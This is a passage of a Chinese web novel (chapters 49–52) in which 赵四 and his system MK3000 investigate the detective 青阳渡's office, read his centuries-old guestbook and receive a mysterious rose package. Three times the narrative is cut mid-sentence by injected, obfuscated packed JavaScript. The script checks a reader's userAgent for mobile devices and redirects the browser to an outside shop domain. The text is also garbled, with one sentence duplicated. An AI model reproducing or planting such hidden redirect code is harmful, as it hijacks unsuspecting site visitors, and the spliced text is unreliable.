啊。 MK3000:【这些委托人和求助者,大部分都不是人类。】 赵四点头:【看来在虚沼这边,青阳渡的名声不小。】 真是货真价实的“虚沼侦探”。 青阳渡,恐怕是专门处理那些人类和“非人类”之间说不清道不明的事的人。 赵四放下会客簿,拿起那本日程记录。 日程记录就正常多了,记的是青阳渡每天的安排。 上面的字迹比会客簿上的潦草一些,像是随手记的备忘录,偶尔还带着点个人情绪的痕迹。 “上午九点,城东虚沼事件现场勘查。带三份驱散符,上次不够用。又遇到熟人了。烦。” “下午两点,接待委托人陈女士。记得提醒她带丈夫的遗物,越贴身越好。” “下午四点,事务署开会。沈恕说这次有高层旁听,穿正式点……更烦。” “晚上七点,去一趟五号水域看看情况。最近那边不太平,可能有新生成的大家伙。希望别是哪个‘熟人’。” 翻到最后几页,记录越来越简短。 “事务署又来问。还是那句话,无可奉告。” “那东西越来越不安分了……得想个办法。” 最后一条是:“准备闭关。如有紧急委托,让助手一号处理。” 赵四抬头,果然在墙边显眼的地方看见了一块小黑板,上面写着:近日如有紧急委托,请联系助手一号。 日期落款是三周前。 赵四屈指敲了敲日程本。 三周前,青阳渡决定闭关。 三周后,青阳渡“死”了一次。 这中间发生了什么?“那东西”又是指的什么? 他把日程本放回原处,转身继续打量这间会客室。 壁炉里的火焰还在跳。 但仔细看的话,那火焰不是普通的橙红色,而是带着一点点幽蓝,像是烧的不是木头,而是什么别的东西。 偶尔有火星爆开落在地毯上,却没有烧出任何痕迹。 窗外的景色是一片眼熟的灰白,那些灰白以肉眼可见的速度在缓慢流动。 偶尔有什么东西从灰白中掠过,速度快得看不清形状。 就在这时,一道亮光从办公桌后的宽大座椅上炸开。 只见一块破手表从椅子里飞出来,直直地飘到赵四面前,悬停在半空中,表带还一晃一晃的。 然后它开口了——用一种赵四从来没听过的、带着哭腔的颤音: “主人——我就知道——你是不会抛弃你最得力的、最可爱的、最招人疼的小助手的——呜呜呜——” 赵四:“………………?” 那块表在空中打了个旋儿,一头往他怀里扎: “主人你知道我在这里等了多久吗——三周!整整三周!我一个人在这里,又冷又黑又害怕,只能靠数地毯上的花纹过日子——呜呜呜主人你身上好暖和——” 赵四面无表情地捏住表带,把它拎到眼前。 【这语气怎么回事?它进化了?还是谁给它灌了什么奇怪的东西?】 MK3000沉默了一秒,语气里带着点难以言喻的复杂:【没有,它就是……中病毒了。】 赵四品了品这回答,大为震撼。 助手一号好歹是系统分统,是MK3000亲手分出去的一部分,是正儿八经的系统出品—— 这么容易就被病毒给找上了?? 【这个世界的规则比较特殊。】 MK3000一边忙着给助手一号杀毒,一边给赵四解释。 【目前来说,助手一号和病毒的关系,你可以理解为——系统也能罹患精神病。】 赵四:“……啊?” 50.第50章 玫瑰战争8 他低头看了一眼还在他手里抽抽搭搭、表盘上疯狂闪烁着颜文字的助手一号,沉默了。 精神病。 系统也会得精神病。 行吧。 赵四接受了这个设定。 【那你快点治,治好了我还有话问它。】 助手一号在他手里挣扎了一下,垂死挣扎似得冒出一串乱码。 【“主人——我不——我不想——睡——”】 然后“咔”的一声,爆闪的亮光黑掉,它彻底进入休眠状态。 MK3000开始杀毒,房间里终于又一次安静下来。 赵四把助手一号放在办公桌上,让它靠着那盏黄铜底座的台灯,看起来像一块正在充电的普通手表。 他的目光重新落在那本会客簿上。 青阳渡,虚沼侦探,专治各种想不开。 赵四盯着那行字看了一会,忽然觉得这句话很有道理。 因为他现在就挺想不开的,很需要青阳渡来渡一渡他。 最好在渡他的同时,直接把任务通关攻略也一道给他。 如果攻略是那种图文并茂、附带注释、连什么时候该说什么话都标注清楚的傻瓜版,那就更好了。 MK3000在百忙之中抽出空来吐槽他:【多干活,少做梦,这样咱们才有光明的未来。】 赵四挑眉:【你杀完毒了?】 【那倒没有。】 MK3000的语气里带着一丝“你怎么这么天真”的无奈。 【就是解析出来点世界观材料,给你传过去了。别在那儿闲着自己做梦,有空多看看资料。】 赵四的专员面板上弹出一串文件。 他点开最上面那个,标题是【情绪构造体与里世界:这简介超正经的,不信你来看】的文件。 文件名虽然不太正经,内容倒是干货满满。 赵四一目十行地扫过去。 这份文件解释了很多会客簿中出现过的词汇。 譬如“情绪构造体”——其实就是人类那边所说的“虚沼生物”。 它们由纯粹的情绪和记忆构成,长成什么样全凭天意。 有的像一团会走路的雾,有的像一块奇形怪状的石头,还有的长得和人类一模一样——在实际长成前,一切都是不可预测的。 而且他们并不遵循普世意义上的物理规则。 穿墙是基本功,飘浮是必修课,情绪激动的时候会发光等等等等——这就让它们的行为模式和生存环境比人类世界要自由那么亿点点。 简单来说,就是一个情绪构造体可以分为三部分来看。 一是“性格”,这要看它由哪些情绪构成。 愤怒构成的脾气爆,悲伤构成的容易哭,要是恐惧构成的,那可能见谁都先躲起来。 二是“行为逻辑”,这取决于它承载着什么样的记忆。 记忆里有未完成的约定,它就会想方设法去完成;记忆里有放不下的人,它就会一直守着那个人。 三是“存在意义”,这得看支撑它存在的情绪还存不存在。 如果情绪和记忆消失了,它就会慢慢消散,最后归于虚无。 如果情绪和记忆消失了,它就会慢慢消散,最后归于虚无。 赵四很快联想到了自己最开始的状态。 【“我”一开始的存在方式,类似于情绪构造体?】 【不太一样。】MK3000举了个例子,【你觉得冰棒和雪糕是同一种东西吗?】 【类似而不一样是吧。】赵四若有所思,【那青阳渡,是“冰棒”,还是“雪糕”?】 【我只能从能量分布上给你答案,可能不太准,你参考一下就行了。】MK3000顿了顿,语气里带着点认真的考量,【我觉得,青阳渡像加了双倍料的雪糕。】 冰棒是“冻结的糖水”,简单纯粹,一咬就是冰碴子味。 而雪糕则是“冻结的甜品”,有奶有蛋有糖,可能还加了坚果碎和巧克力酱,口感丰富得能写三百字小作文。 从原料和口感上来说,青阳渡可以说是很好吃的那种。 赵四把这个比喻在脑子里过了三遍,最后决定不再深究自己到底是个什么味儿。 他继续往下看文件。 人类生活的地方,叫“表世界”。 情绪构造体们生活的地方,则叫作“里世界”。 虚沼,就是分开二者的隔断层。 这个可以理解为两户人家中间那堵墙,只不过这堵墙是用“虚无”砌的。 本来表里世界不应该有任何交集。就像楼上楼下各过各的,谁也不碍着谁。 但是吧,表世界在近几十年中不知道怎么回事,破开了不止一个洞。 虚沼从破洞中涌出的样子,就像是棉衣里的棉花从破掉的布料里漏了出来—— 白花花的,软绵绵的,看着人畜无害,但是漏着漏着就发现不对劲了。 和棉衣不一样的是,棉衣里的棉花是有数的,漏着漏着总有漏完的那天。 而虚沼是没有具体数量和体积的。 它没有边界,没有尽头,没有“漏完”这个概念。放任它这么漏下去,表世界早晚会被虚沼吞得干干净净。 然后表世界一玩完,里世界也要跟着一起玩完了。 道理很简单——没人类继续“思念”,就没有新的记忆变成“回忆”;没人类产生“情绪”,就没有新的构造体诞生。 那里世界可不就是要完蛋了吗? 所以这事儿就是一个恶性循环: 虚沼漏得越多,表世界越乱; 表世界越乱,人类情绪越不稳定; 人类情绪越不稳定,里世界的新居民越容易长歪; 里世界越乱,虚沼漏得越快…… 完美闭环。 【一般来说,世界是有自救机制的。】赵四慢慢说道,【这个世界……做了什么?】 MK3000沉默了一下:【……助手一号的数据库里没有相关线索。】 赵四点点头,语气平静得像在讨论今天吃什么:【我猜你已经有所猜测了,真好,我正巧也有了个答案。】 一人一统的默契上线。 MK3000:【那一起说来互相验证一下?】 赵四:【成。我数三声——三、二、一。】 MK3000:【世界破破烂烂,青阳渡缝缝补补。】 赵四:【这世界的烂摊子,最后全归青阳渡。】 很好。 这次他们很有默契。 赵四靠在墙上,看着壁炉里跳动的火焰,沉默了下来。 救世主啊。 听起来挺风光的名头,实际上什么都不是。 全世界哪儿漏了,你就得往哪儿堵;全世界哪儿破了,你就得往哪儿补。 别人能跑能躲能摆烂,你不能。 因为你跑了,世界分分钟就能没给你看。 赵四代入了一下青阳渡的视角,觉得要是换了自己,可能早就撂挑子了。 总之这活儿谁爱干谁干,反正我不干。 但青阳渡显然没撂挑子。 他开了个侦探事务所,专治各种想不开。 接待城东水域的聚合体,安抚某街道的怨念集合体,给找不到存在意义的无名构造体做心理咨询,帮人类寻找失踪亲人的记忆碎片…… 缝缝补补一天又一天。 两边东拼西凑一年又一年。 青阳渡都这么努力了,结果构造体也不给他省心。 有些构造体会试着进入表世界,也就是人类生活的那个世界。 它们想去完成未了的心愿,去找放不下的人,去确认自己是否真的存在过。 动机挺感人的,对吧? 但这很危险。 ……不管对哪方来说。 情绪构造体涌出,会加速虚沼吞噬表世界的速度。 就像原本只是墙上有个小洞,现在有人天天拿东西去洞边的砖,那洞口自然越漏越大。 表世界的虚沼灾害越多,人们提供的情绪和记忆就越爆裂、越灰暗。 直接导致新生的不稳定构造体越来越多,里世界居民更新换代的速度越来越快——快到来不及形成稳定的“人格”,就又被新的情绪冲散了。 这几年更是到了区域性承载力超标的地步。 里世界也开始像表世界一样,局部崩溃。 好家伙。 赵四看着文件里最后那行字,在心里默默补了一句:这下子虚沼开始两头跑了。 一边往表世界漏,一边往里世界灌。 两头开工,双线并进,主打一个“谁也别想好过”。 要真的像他俩猜的那样,青阳渡是世界选中的“救世主”,那他得有多崩溃,可想而知。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17230769|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >左边是人类的烂摊子:天天都有新危机,事务署还动不动就开会压力所有人。 右边是构造体的烂摊子:新生的找不到存在意义,旧的要消散了还在惦记未了的心愿,情绪聚合体之间三天两头闹矛盾。 中间还夹着个无数个尚未出场的熟人。 太惨了。 赵四靠在椅背上,盯着天花板看了一会儿,直到眼睛有点干才开口。 【三儿。】 【嗯,想聊聊?】 【有什么好聊的,我是想问你杀完毒了没。】 【刚杀完。】MK3000给自己塞了颗糖,含糊道:【这毒还挺顽固,得亏我技术好。】 赵四看向办公桌上的助手一号。 那块手表的表盘亮了一下,然后又亮了一下,像是在试探自己还能不能正常工作。 然后它开口了。 “主人——?” 语气小心翼翼的,带着点不确定。 赵四:“嗯。” 助手一号的光闪了闪。 然后猛地亮起来! “主人!我还活着!我还以为再也见不到你了!刚才我做了一个好长的梦,梦见自己被关在一个黑漆漆的地方,怎么喊都没人应。” “我就一直数数、一直数数,数到三千七百八十二的时候,忽然有人把我拉出来了——” 它顿了一下,光又闪了闪,语气里带上了点委屈:“是主人你吧?肯定是主人你吧?我就知道你会来救我的——” 赵四感觉哪里不对。 【这就是你说的“杀完毒了”?】 MK3000沉默了一下,带着一丝微妙的尴尬说道: 【呃……毒是杀完了。但之前感染期间产生的那部分……怎么说呢……人格特征,可能保留下来了。】 赵四:【说人话。】 【就是这个世界里它只能先这样了,话多,黏人,还爱数数。】MK3000顿了顿,语气里带着点破罐子破摔的坦然,【你将就着用吧。】 赵四:“……行。” 还能真不要了吗?就这样吧。 他低头看向助手一号。 那块手表还在絮絮叨叨:“其实那个时候我什么都看不到哦,但我就是知道肯定是你——因为只有你才会来找我,别人都不会——主人你真好——” 赵四微笑:“闭嘴。” 助手一号的光闪了闪,乖巧地闭上嘴。 但表盘上的光闪成了一串摩斯密码: 【主人你笑的真好看,你是我的光,我愿意为你数到一万亿,主人你——】 赵四保持微笑,伸手捂住了助手一号的表盘。 【这玩意儿能关吗?】 【关不了。】MK3000的语气里带着点深感丢人的无奈,【你将就着用吧。这个世界结束了我把它收回来就好了。现在先忍忍。】 赵四深吸一口气,松开手,决定暂时忽略助手一号的异常表现。 他还有正事要问。 “一号,”他说,“你说你在这里待了三周?” 助手一号的光闪了闪。 这是肯定的回答。 MK3000同步道:【虽然助手一号和咱们才分开没多久,但是按照系统日志来看,它确实记录了大概三周左右的日志。】 【初步推测是时间流速问题,这个空间内部的时间轴大概和外界不太一样。】 赵四点了点头,又问:“那在这三周里,这片空间有人进来过吗?” 助手一号又闪了闪。 这次是否定。 然后它开口了,语气里带着点委屈巴巴的控诉:“没有人来。一个人都没有。” “我每天都盼着有人来,哪怕不是我认识的人也行——但是没有人。我就一直数数,数墙上的花纹,数地毯上的毛,数那本会客簿上有多少个字。” “主人你知道吗,那本会客簿我一共数了三十七遍——” 赵四在心里默默点头。 作为一个AI,数数应该是基本功。 要是数了三十七遍还能数错,那可太丢系统的脸了。 助手一号开开心心地接下去:“第一遍的时候是八千六百二十三个字,第二遍的时候是八千七百个字整哦——它自己涨起来啦!” 赵四的动作顿住了。 他低头看向那本会客簿。 字数……变了? 51.第51章 玫瑰战争9 字数……变了? 他把会客簿拿起来,翻开第一页。 八千多字的东西,他刚才只是随手翻过,没细数。 但助手一号说它数了三十七遍—— 赵四看向那块表:“你确定?” “确定呀!” 助手一号的语气里带着点被质疑的小委屈。 “我数了三十七遍呢!第一遍是8623,第二遍是8700整,第三遍是8700,第四遍也是8700……一直到第三十六遍都是8700!” “第三十七遍呢?” “第三十七遍是8721!”助手一号说完,又补充道,“当时我还想数第三十八遍来着,但是主人你来啦——” 赵四没接话。 他把会客簿翻到最后一页,重新看着上面的记录。 那些条目毫无变化,看起来都很正常。 但他注意到一个细节——日期。 每一条记录的后面,都有一个日期。 最早的可以追溯到一年前,最近的就在三周前,青阳渡决定闭关的那天。 他把会客簿翻回第一页,找到最早的那条记录。 日期是一年前的某一天。 他合上会客簿,又打开。 日期没变。 他把会客簿放回原位,等了三秒,又拿起来打开。 日期还是没变。 赵四忽然笑了,他抬手压住第一页,“我亲爱的小助手,来,就从这一页往后数,看看从这页开始到最后一页,到底有多少字?” 助手一号秒答:“八千七!” “乖,再数一遍。” “咦,还是八千七?” 又试了几次,依旧是这个数字。 赵四满意了。 【有意思。】 MK3000:【这字数怎么不变了?】 【可能是因为我压住它了吧。】 MK3000沉默了一秒:【你压住它,它就不敢动了?】 赵四挑眉:【你看它像敢动的样子吗?】 会客簿安安静静地躺在他手底下,一动不动。 活像一只被捏住后颈的猫——还是那种乖乖任人揉搓的猫。 赵四盯着它看了两秒,忽然松开手,换了个舒服的姿势靠在椅背上。 语气随意得像是在聊今天天气不错: “行了,别装了。前面的记录,拿来我看看。” 会客簿顿了一下。 然后——它动了。 不是翻页,而是整本簿子在他面前立了起来,封面朝外,像一个人站直了身体,挺胸抬头等待检阅。 赵四:“……” MK3000:【它这是……】 赵四:【可能是在敬礼。】 会客簿立了两秒,然后开始翻页。 不是哗啦哗啦地翻,而是匀速地、一页一页地翻,像在展示什么珍贵藏品。 每一页翻过的时候,还特意停一下,确保赵四能看清上面的字。 翻到某一页,它停下来,把页面往赵四眼前凑了凑—— 那一页上写着“今天处理了五个委托,有点累,但开心”。 然后继续翻。 又翻到某一页,它停下来,页面微微倾斜,让壁炉的光更好地照在上面—— 那一页上写着“那个水域聚合体又来了,它说要给我带礼物,我说不用,它还是带了,是一块很漂亮的石头”。 赵四看着它这殷勤劲儿,嘴角抽了抽。 【它这是……在邀功?】 MK3000沉默了一秒:【可能是想让你看看它平时有多努力。】 赵四:“……咳。” 他伸手按住会客簿,“行了行了,我自己看,你不用一页一页展示。” 会客簿顿了一下,似乎有点失望。 但它还是乖乖停下来,任由赵四接手。 赵四翻到最前面。 这一页上,歪歪扭扭地写着一行字: 【今天有个水域聚合体来找我,它说它不知道自己要流向哪里。我也不知道怎么回答它。我就让它先等着,等我弄明白了再告诉它。】 字迹很稚嫩,像是刚学会写字的人写的。 有些笔画还写错了,涂改过。 赵四看着这行字,【这是……青阳渡的第一条记录?】 这条记录没有标注日期的同时,也没有严格区分记录和日程的区别。 或者说,这些靠前的记录都是这样的。 青阳渡在写下访客委托的时候,也写下了自己的心路历程。 很幸运的是,他们有别的手段可以获得准确的时间感知。 出自青阳渡之手的文字多少都带点特殊能量。 按理来说这点能量很快就会散了,但侦探事务所的位置实在特别——它处在表里世界之间又区别于虚沼,对能量的留存度很高。 MK3000分析了一下字上的能量残留,得出了比较准确的结论。 【青阳渡写下它们的时间大约在三百年前。】 稚嫩而青涩的字迹……青阳渡是刚刚诞生吗? 他想象了一下那个画面——一个刚学会写字的人形构造体,面对一团迷茫的水域,手足无措地说“你等我弄明白了再告诉你”—— 忽然觉得有点好笑。 又有点……说不出的感觉。 他继续往后翻。 第二条记录,时间大概在第一条之后的几个月: 【那个水域聚合体又来了,我还是不知道怎么回答它。】 【但它好像不着急,就在门口等着。我问它为什么愿意等,它说,因为你是第一个认真听我说话的人。】 赵四翻页的手顿了顿。 第三条记录: 【我找了很多人问。】 【表世界的人听不懂我在说什么,里世界的构造体说这不关它们的事。】 【最后是一个奇怪的构造体告诉我:它不需要答案,它只是需要有人听它说话。】 第四条记录: 【我去人类世界的图书馆进修了哲学……应该是这么说的吧?】 【总之,我知道要怎么回答它了。】 赵四看到这儿,忍不住笑了一声。 去图书馆进修哲学。 一个刚诞生的构造体,为了回答一个水域聚合体的问题,跑去人类世界学哲学。 这操作有点东西。 第五条记录: 【我今天告诉那个水域聚合体:你不用知道流向哪里,你只需要一直流下去。】 【它听完,在水里转了好几圈,然后走了。走之前它对我说谢谢,我不知道它在谢什么,但我好像有点开心】 赵四看着这几条记录,沉默了很久。 【三儿,你说这个“水域聚合体”,后来怎么样了?】 MK3000翻了翻数据库:【……没有后续记录。但从会客簿后面的条目来看,类似的求助还有很多。】 赵四点点头。 他继续往后翻。 后面的记录越来越多,字迹也越来越熟练。 从歪歪扭扭的涂改,变成工整的笔迹,再变成流畅的随手记。 从“我不知道怎么回答”,变成“我试着这样回答”,再变成“这样回答应该可以”。 从一条记录隔几个月,到隔几周,到隔几天,到最后一天好几条。 委托的类型也越来越杂。 从水域聚合体,到怨念集合体,到情绪构造体,到记忆碎片……最后再到人类。 赵四翻到某一页,忽然停住了。 这一页上写着一行字,字迹比前面的都要潦草,像是随手记的: 【今天来了个人类,她说她梦见我了。】 【唉,最近梦境构造体的活动是不是有点太频繁了,得做个大扫除了。】 赵四盯着这行字看了三秒,然后“噗”地笑出声。 MK3000评价:【这人还挺幽默。】 赵四笑得肩膀直抖,他继续往下翻,类似的记录还不少。 【今天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236437|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来了个构造体,说它喜欢我。】 【我问它什么是喜欢,它说就是想永远都跟我在一起,你中有我我中有你,永远都不要分开。】 【可是我们是不同的两个个体,为什么会存在永远不分开的情况?】 【哦,破案了,原来它想吃了我。】 【干掉了。】 【今天来了个人类,说想和我结婚。】 【人类的婚姻?我知道这种契约的存在,但是……为什么要来找我?】 赵四一边看一边乐。 【三儿,早期的青阳渡,好像人机。】 还是助手一号没变异之前的那种人机。 越往后,类似的记录越多,批注也越来越简短。 【又来了,烦。】 【还是那个,服了。】 【今天来了三个……怎么回事。】 赵四叹为观止。 【青阳渡脾气还挺好。】 MK3000:【怎么说?】 【换了是我,可没办法三百年都坚持解决这些乱七八糟的。】赵四说,【而且还得应付这么多……“想不开”的。】 这是什么绝世忍人。 三百年,从“我不知道怎么回答”,到“是不是哪里出什么问题了”,再到“烦”。 换了别人,早就在门口立个牌子说闲人免进了。 但青阳渡没有。 他只是继续开着这家事务所,继续“专治各种想不开”。 不管来的是构造体还是人类,不管来的是真有事还是假有事。 只要来了,他就接待。 只要问了,他就回答。 实在回答不了的,就让人家“先等着”,等他自己弄明白了再告诉人家。 就像三百年前对待那个水域聚合体一样。 赵四把会客簿合上,放回原处。 这一次,会客簿似乎有点意犹未尽——它在他手底下轻轻蹭了蹭,像一只求摸的猫。 赵四低头看它。 会客簿安静地躺着,但封面微微翘起一个角,像是在说:还有呢,还看吗? 赵四嘴角抽了抽。 【它这是……还没展示够?】 MK3000:【可能太久没人理它,憋坏了。】 赵四沉默了一秒,正准备开口说点什么,手腕上的表突然闪了一下。 助手一号的声音响起,语气里带着点急切,又带着点“快看我我比它有用”的争宠意味: “主人主人!外面有人!就在楼道里!一个女的,在302门口站着,说什么‘终于找到了’、‘我就知道’之类的话!” 会客簿动了动。 助手一号表盘上的光闪得更欢了:“我比它先发现的!我比它有用!主人你要不要我现在就数一下她说了多少个字?我可以数得特别准!” 赵四低头看了一眼手腕上的表,又看了一眼桌上那本还在翘着角的会客簿。 一个在争宠。 一个在等着被翻牌。 【三儿,我现在像个什么?】 MK3000想了想:【像个同时养了猫和狗的人。】 还得是他搭档。 这不,明明他还什么宠物都没养呢,结果在他搭档嘴里,他已经变成猫狗双全的人生赢家了。 赵四伸手拍拍会客簿的封面。 “乖,回头再看。外面有人敲门,我先去处理一下。” 会客簿的封面塌下去一点,像是有点失望。 但它还是乖乖地不动了。 赵四又看了一眼手腕上的表。 助手一号的光还在闪,闪成一行摩斯密码:【主人,我比它有用,我比它有用,我比它有用——】 赵四伸手捂住表盘。 “你也乖。”他说,“和我一起去见见客人吧。” 助手一号的光猛地亮了一下,然后又暗下去,像是被顺毛捋服了的小狗。 赵四满意地松开手,准备去外面看看到底是谁上门。 他站在镜子前,一步跨出—— 52.第52章 玫瑰战争10 天旋地转的感觉再次袭来,但这次的要温和多了。 赵四像是被一双看不见的手托着,轻轻放回原地。 等眼前的画面稳定下来,他已经站在了302的客厅里。 镜子就在面前。 这次它映出的画面一切正常。 背景是背景,赵四是赵四的,一个都不少。 仿佛之前那片吞噬一切的灰白只是他的错觉。 敲门声还在继续。 不急不缓,一下一下,像有人掐着秒表在敲。 赵四好整以暇地整了整衣领,又理了理袖口,这才转身走向门口。 他的手刚碰到门把手,敲门声忽然停了。 门外一时间安静得过分。 赵四的动作顿住了。 【三儿,外面有人吗?】 MK3000扫描了一下:【没有生命反应。】 这是溜得快呢,还是压根就没“人”在敲? 他拉开门。 门外空空荡荡。 只有一个包裹端端正正的放在门口的正中央。 方方正正,牛皮纸包装,最上面还别着一朵玫瑰花。 花很漂亮。 它柔软而娇嫩的花瓣红的发黑,就这么静默的停留在包裹上时,像是一个无声的邀请。 赵四低头看着这个包裹。 【这是给我的?】 MK3000已经开始扫描了:【包裹本身没有危险,但是这朵玫瑰……】 【怎么说?】 【稀有品种,培育难度极高的同时花期很短,市面上根本买不到这种品相的。】 赵四蹲下来,没有直接碰,而是先观察了一下。 包裹上没有寄件人,没有地址,没有任何能追溯来源的信息。 整个包裹最大的信息来源,就是这朵花。 他伸手,把玫瑰摘下来。 花瓣柔软,带着凉意。 是真花。 他把包裹和花都拿进屋,门一关,开始拆包。 牛皮纸包得很结实。拆开第一层,里面是一个盒子。 打开盒子,里面又是一个盒子。 再打开,又是一个。 赵四一连开了七个套在一起的盒子。 开到最后,里面是一张硬卡纸。 黑色的底,金色的字。 赵四把卡纸拿起来,借着晨光看向上面的字。 【亡者睁开眼,看见生者的太阳。 影子替他行走,巡视每一寸有光的地方。 死亡的使者啊,你还有七个月落的时间—— 让将要发生的不再发生。 让已经死去的不再醒来。】 又是谜语人,谜语人滚出任务世界。 赵四有气无力地靠在沙发上:【三儿啊,能查出来是谁送的吗?】 MK3000调出了楼道监控。 画面里,302门口空空荡荡。 然后——在某一帧,画面闪了一下。 再恢复的时候,那个包裹已经出现在地上了。 没有人出现。 没有手伸出来。 没有任何东西。 它就那么凭空出现了。 赵四眯起眼睛:【那到底是谁在狂敲我家大门?】 敲门声一直持续到把他从里世界摇出来,响了好长时间。 结果现在一看——好嘛,连个人影都没有。 不对,要说人影的话,还是有人……或者说,有“统”看见了的。 助手一号,是它提醒赵四外面有人的。 助手一号:“主人!又到我出场的时候了吗!” 语气里带着一种“终于轮到我了”的雀跃。 赵四:“一号,你确定你刚才看到了一个女人?” 助手一号的光闪了闪,活泼道:“确定呀!还把那段监控保存下来了呢。” 它把自己存下来的东西传给了本体,然后骄傲地指着那片空白的监控画面说:“看,在这里。” 赵四和MK3000:? 不是,这个助手一号在这里说什么呢? 它发给MK3000的不是一段空白视频吗! 赵四迟疑道:【……余毒未清?】 MK3000也迟疑道:【不对啊,连这个都能看错那不是傻了吗,它的代码挺正常的啊。】 一人一统顿感棘手。 严格来说,助手一号就是MK3000的分机。 虽然现在看起来不太像,但它俩确实是互通的。 助手一号莫名其妙表现异常,这是小问题。 真正的问题是—— 这个世界,存在能够在不知不觉间影响系统的东西。 如果这次出现在这里的不是MK3000的一部分数据,而是它本身的话…… 这已经能算重大安全隐患了。 【过完任务之后给主系统打个情况说明上去吧,太渗人了。】赵四搓搓自己的胳膊,试图把自己身上炸起的寒毛压下去。 MK3000心有戚戚焉,默默抱紧了自己的小触手。 赵四看着眼前这一地狼藉。 七个大小不一的盒子散落在茶几周围,牛皮纸堆成一小堆扔在沙发角落,那朵玫瑰被他随手插在笔筒里,俏生生的和一只水笔交相辉映。 他想了想,弯腰把散落的盒子一个一个捡起来。 盒子按大小重新套好,牛皮纸也重新包上。 最后,他把那朵玫瑰从笔筒里抽出来,又原样别回包裹上。 他的动作不急不缓,像是在整理一件迟早要用到的东西。 整理完成后,他把整个包裹拿起来,放在茶几正中央。 先留着,说不定以后用得着。 赵四拍拍手上的纸屑,准备出门。 临行前,他又看了一眼茶几上的包裹。 那朵玫瑰开在晨光里,美丽而不详。 仿佛某种预兆。 赵四收回目光,拉开门,走了出去。 门在身后轻轻关上。 …… 赵四出门后,清晨的风迎面扑来,带着点凉意。 他看时间还早,决定先在周围走走。 凌晨五点多的小区,已经开始有了早起的动静。 有人遛狗,有人晨练。 早点铺子的蒸笼冒着热气,包子香混着油条的香味飘了半条街。 赵四穿过小区,随便挑了家店,进店吃早饭。 他挑中的店不大,算是小区里很有烟火气的那种小店,来吃饭的都是周围的住户。 见到相熟的邻居,有人难免聊两句小区之前发的公告。 赵四听了片刻,确认大家的情绪还算可控,没出现什么影响普通人总裁生活的大问题。 【事务署处理过了吧。】赵四咬了一口包子,连意识里说话的声音都有点含糊,【他们效率还挺高。】 MK3000:【看来虚沼事务署在普通人眼里,是真的靠谱。】 因为假如干的事都是虚的假的,事务署的名声不会像现在这样这么好。 一人一统又大致转了转,在真去找沈恕前,从群众方面先简单考察了一下事务署。 确定得到的答案比较不错后,赵四才走到门口,拦了一辆大清早就出来跑车的出租。 “师傅,去虚沼事务署。” 司机从后视镜里看了他一眼,眼神里带着点好奇:“小伙子,你是事务署的人?” 赵四简单回答道:“去办事。” 司机“哦”了一声,没再多问,发动了车子。 车子驶过清晨的城市街道,路过那些刚刚苏醒的店铺和行人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239180|195144||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赵四靠在椅背上,看着窗外。 脑子里,MK3000正在查那朵玫瑰的资料。 这种玫瑰是真的很稀有,但是就像是奢侈品一样,稀有稀有的好处。 比方说,在系统这里,每一朵玫瑰的来源和去向都比较好查。 【能买得起这种玫瑰的人,整个城市不超过二十个。】MK3000顿了顿,【这二十个人里,有五个和虚沼事务署有过交集。】 【哪五个?】 MK3000把名单发到他面板上。 赵四扫了一眼。 五个名字,后面都跟着一串备注。 有企业家,有政客,有艺术家,还有两个——是“已故”。 赵四的目光在那两个“已故”上停了一秒。 【死前买的还是死后买的?】 【很遗憾,查不到。】 这两个已故的不止都和事务署有联系,并且很巧合的死的不明不白。 MK3000多方查证,也没能确定他们俩到底是什么时候去世的。 赵四没再说话。 他决定等见完沈恕了再去查查这件事。 车子在一栋灰色的大楼前停下。 虚沼事务署到了。 灰色的外墙,电动的大门,门口还有两个站岗的警卫。 这里看起来就是一个普普通通的政府部门。 但赵四能看出来这个地方在普通人里的知名度很高。 因为门口的事务署对外大厅里,正有许多普通市民进进出出。 有抱着文件的中年人,有红着眼眶的老太太,也有牵着小孩子的年轻父母。 赵四付了钱,下车。 他刚走到门口,就被人拦住了。 “您好您好!这边不是工作人员不让进的——您来报案的是吧?” 一个年轻人从门卫室里蹦出来,手里抱着一沓登记表,脸上带着刚毕业的大学生特有的那种热情洋溢。 他看起来也就二十二三岁,穿着制服,口袋里露着胸牌的一角。 一看就是还没来得及挂,是被主人随手揣在口袋里的。 “来来来,这边请!您先登个记,然后我帮您看看您这个案子该找哪个科室——” 年轻人一边说一边领着赵四往对外大厅里走,步子轻快得像只小兔子。 赵四张了张嘴,还没来得及解释,已经被带进了接待室。 “您坐您坐!稍等一下,我先把表格找出来——咦表格放哪儿了——哦在这儿!” 年轻人从一堆文件里翻出一张表格,又摸出一支笔,这才在赵四对面坐下。 他抬起头,看向赵四—— 然后愣了一下。 那愣神只有一秒,但被赵四捕捉到了。 